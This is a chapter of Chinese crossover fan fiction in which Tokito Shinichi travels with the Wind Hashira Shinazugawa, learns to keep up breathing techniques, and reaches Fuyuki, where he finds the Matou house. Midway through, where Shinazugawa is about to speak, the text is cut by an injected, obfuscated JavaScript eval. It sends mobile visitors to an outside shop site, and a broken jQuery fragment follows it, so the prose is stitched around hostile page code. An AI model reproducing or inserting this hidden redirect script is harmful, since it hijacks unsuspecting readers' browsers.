不死川的呼吸法和无一郎的没有一点相同。

    真一吃着萩饼,看着这位风柱狞笑着揪出藏在暗处的恶鬼,将对方砍得七零八落。

    血溅在树干上,脑袋与身体瞬间分家。

    然后这些残骸皆如灰烟般散去。

    不知道是不是真一的错觉,恶鬼的眼睛即便已经丧失了生机也仍旧看向自己。

    他停下咀嚼:“你一定要砍地这么凶残吗?”

    “不然像你一样被人把刀轻易打掉?”

    不死川回头,鬼血在他的面上缓慢消散,露出那张一直在生气的脸。

    “。”

    时透真一食不下咽。

    “其实只有你们说我剑术差。”他没忍住还是辩解了句。

    他又想起了那双金红色的眼睛。

    记忆里的人和那只猫头鹰有着相似的眼睛。

    「想要练剑就来我的道场。」

    对方这么说,但真一一次都没去过,父亲死后他几乎不去接触那些人的所在地。

    高专里的大家除了真希外全凭自己的术式战斗。

    作为天与咒缚的真希也曾说过,将武器当做手臂的延展,自己的身体才是最好用的。

    那么刀除了劈砍外还需要什么剑术呢?

    只要速度够快,敌人够弱,再简单的轨迹也能一击必杀。

    不死川没理他,风柱继续朝着鎹鸦指引的方向前进。

    真一跟着走了两步,将手里的萩饼全塞进了肚子里。

    红豆馅。

    甜得要死。

    五条老师应该会很喜欢。

    由前方那位不愿理人的猎鬼人出资购买。

    傍晚看到不死川将其递来时,真一一度以为他要给自己下毒。

    毕竟没有哪家好人会一边挂着“吃了以后就送你上路”的表情,一边递来食物。

    真一当时接过后,小声地说了声谢谢。

    然后看着面前的人一连往自己嘴里塞了三个萩饼。

    一想到这儿,刚才顺喉管而下的甜腻便又一下子窜了上来。

    真一决定以后坚决不再吃萩饼。

    前方的不死川已经距离真一有一段距离了。

    真一甚至能听到对方不耐烦的拔出刀又插回去的声音。

    “...我没掉队。”

    他咕哝着。

    他们还没有坐上前往冬木的火车。

    产屋敷宅的位置偏僻,但好在距离这里最近的车站比真一上次去的那个要近上不少。

    这距离长短当然是由不死川的鎹鸦汇报的。

    二十一岁的青年只有在杀鬼的时候抱有热情和杀意,其他时候他纯当真一是空气。

    但即便这样,这位风柱大人也依旧给了身无分文的真一一顿晚饭。

    真奇怪,真矛盾。

    真一像不知道对方的过去那样,不知道对方此时的脑袋里在想什么。

    同时也像真一对这个时代的地图那样一窍不通。

    所以即便真一觉得不死川实弥难相处且难搞懂,他也得跟在对方后面,指望对方真的会前往火车站,并且好心的给自己买上一张车票。

    鎹鸦振翅飞向山林。

    男人的身影紧随其后。

    风从他的脚下卷开,草木被压得向两侧低伏。

    “……”

    这人原来赶路也在生气。

    他把装萩饼的纸袋折好塞进口袋,魔力流经体内的回路,向双腿汇聚。

    脚下的泥土骤然下陷。

    山林飞快向身后退去。

    真一在腾飞的过程中感受着魔力与咒力的不同。

    依靠他生命力启动的魔力在身体内横行,青绿色的回路占据着原本属于咒力的通道。

    而那些因情绪翻涌而生出的力量则被迫蜷缩在腹部。

    一切都安静了下来。

    那些声音也不再吵闹。

    真一觉得这样很好。

    只要不去思考,所有的一切都会和被压制的咒力一样,沉睡在身体的最深处。

    风迎面撞来,冰凉的空气灌进肺里,将胸腔里最后一点滞涩吹散。

    不死川显然在暗中关注着他,这个人没有一点减速的意思。

    真一在再次确认无一郎是这个时代最好的人后,开始怀疑对方之前是不是故意带着自己磨蹭。

    前方的不死川跃过一道山涧。

    真一紧随其后落在对岸。

    “还行。”

    风柱头也不回地评价。

    “什么?”

    “速度比剑术好点,但你为什么不用全集中?”

    “……”

    真一眨了眨眼。

    “我用魔力强化了身体。”

    “这与全集中又不冲突。”

    真一愣了下。

    无一郎当然教过他全集中。

    「倒是不用吹葫芦了,但记得保持。」

    年少的祖先说完全集中的要点,在丢下这句话后,便觉得自己已经倾囊相授。

    可当天晚上真一就回了现代,他在弄清楚了魔力该如何使用后,又踩着自己当咒术师时的脚印将呼吸法扔到了脑后。

    毕竟他的确凭借着魔力模仿的术式斩杀了上弦一。

    由魔力激发的术式不如咒力,而由魔力强化的身体同样如此。

    上弦一死了,因为他的身体曾在真一咒力的影响下衰老。

    但真一知道自己的魔力做不到这样。

    它可以将鬼的时间往前推去吗?鬼会像咒灵一样消失吗?我的魔力够吗?我的生命力够吗?

    我只有这一颗宝石,我还需要补足无一郎开斑纹所消耗的生命。

    不。

    也许不止是无一郎。

    真一抿了抿唇,他又看了眼前方白色的羽织,尝试着在用魔力强化自己的时候呼吸。

    无一郎说过什么来着?

    真一想着在这个时代为数不多平和的日子。

    十四岁的少年按着自己的腹部用没什么波动的声线说。

    “先吸气,让空气进入肺里,再往更深的地方去,然后保持住。”

    再吸气感觉刚吃下去的萩饼要被挤出来了。

    “咳!”

    脚下踏空,一根横生的树枝迎面抽来,真一慌忙中偏头避开,在地上转了两圈才稳住了身形。

    前方响起一声毫不掩饰的狞笑。

    真一抬头:“我没掉队。”

    他再次重申。

    “肩膀放松。”

    “?”

    不死川在空中旋身,风像是他的奴仆般,让他即便滞空也依旧灵活。

    这个人指了指自己的肩侧。

    “肩膀,你得放松下来,这样才能达到常中。”

    真一看了他片刻,依言松下肩膀。

    风柱的胸膛一直在起伏。

    幅度极小,若不是特意观察,真一甚至不会注意到。

    赶路的时候,买萩饼的时候,甚至刚才对着自己冷笑的时候。

    “要怎么把这个状态保持住?”

    真一对着继续前进的背影发问,虽然他在刚问出口后便知道了答案。

    对方当然也没有回答。

    除了练习还能是什么呢?

    将这状态变成本能,像咒力一样,遇到危险就唤起它,身体受伤就反转它。

    扼杀以前的自己,抹去从前的习惯,压制自己的情绪,让魔力支配全身,甚至改变呼吸。

    真一顿了顿,他忍受着肺部的灼烧向前迈步。

    山的那一头隐隐泛出光亮,另一座火车站坐落于此,这一次没有恶鬼拦路。

    不死川实弥停下脚步,他站在灯火阑珊处对真一说。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934084|213322||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你的呼吸又停下了。”

    “......”

    呼吸。

    又是呼吸。

    时透真一开始讨厌呼吸。

    城镇的灯火铺到脚下,两个人放慢速度,沿着街道向车站走去。

    街边有人正在收摊。

    女人将睡着的孩子抱起来,小孩黑色的头发从她的肩头冒出。

    真一的脚步慢了一瞬。

    保持住,保持住。

    他对自己说。

    别再关注其他的事物了。

    想想冬木市,想想回去后的圣杯战争。

    召唤英灵后肯定要一直用魔力,那时候咒力便又用不了了。

    必须在这段时间内让自己变的更强才行。

    为了夺得圣杯。

    为了辉利哉大人所说的未来。

    为了让无一郎不死在二十五岁。

    为了——

    真一看着递到自己眼皮底下的车票。

    他抬手接过,刚要说些什么,就看到之前和主公大人说自己要去冬木附近做任务的人转身就走。

    “...你不是也要去冬木?”

    被提问的人不答话,真一便抬高了嗓门。

    “不死川!”

    名字脱口而出的瞬间,真一发觉这才是自己第一次喊对方的名字。

    他是自己在这个时代呼唤的继辉利哉、无一郎以外的第三个名字。

    “西北方向!西北方向!”

    对方的鎹鸦在空中大声呼喊。

    披着白色羽织,白色头发,脸上身上皆布满疤痕的人背对着真一挥了挥手,便就这么再次启程。

    他要杀完鬼后跑着去冬木附近继续做任务吗?

    真一张了张嘴,他的脚尖仍旧指向快要出发的末班车,耳边列车员的催促此起彼伏。

    他会死吗?

    他的眼睛会像那只猫头鹰一样闭上一只吗?

    不死川实弥究竟是怎样的人?

    时透真一没有答案。

    他还没准备好获得答案。

    他只有一封信要送达,一封来自远坂时臣的信。

    上面印着远坂家的火漆,刻着真一还没有学习过的魔术。

    远坂时臣说这信是用来检测他究竟是穿越了时间还是前往了平行世界。

    真一在火车上将信件翻来覆去的查看,直到与记忆中相似却不同的冬木市出现在远方,那里仍旧没有丝毫咒灵的影子。

    真一沿着街道找着与未来接近的锚点。

    记忆中的冬木市有一座红色的桥,未远川从城市中间穿过,把新都和深山町分开。

    但这里没有桥。

    不知哪来的蝴蝶洒着磷粉绕着真一的右手飞舞。

    真一抬手,那里的令咒仍旧是暗淡的。

    真一想着自己在远坂家看过的书。

    圣杯每六十年积蓄魔力,他算了算时间,如今距离第二次圣杯战争结束刚过去了十几年。

    无一人获得胜利,没有一个魔术师前往根源。

    土地需要时间,魔术师们只能等待着下一次。

    蝴蝶又在眼前飞舞。

    它的翅膀在真一看来已经疲惫不堪,好像下一秒便会脱落,然后匍匐在地,变成扭曲的虫豸。

    他就这么跟着引路的蝴蝶前进,直至一座宅邸出现在面前。

    这个时代的远坂家是不是过于阴森了?

    真一抬头望向面前的宅邸,有模糊的人影站在门口。

    蝴蝶的翅膀再也无法煽动,它在真一的注视下沉入地底。

    老人穿着深色的和服,微驼着背,他的脸埋在阴影里,像被阳光从中间截断。

    “远坂先生?”

    真一轻唤。

    “你找错了,这里是间桐。”

    老人如是说道。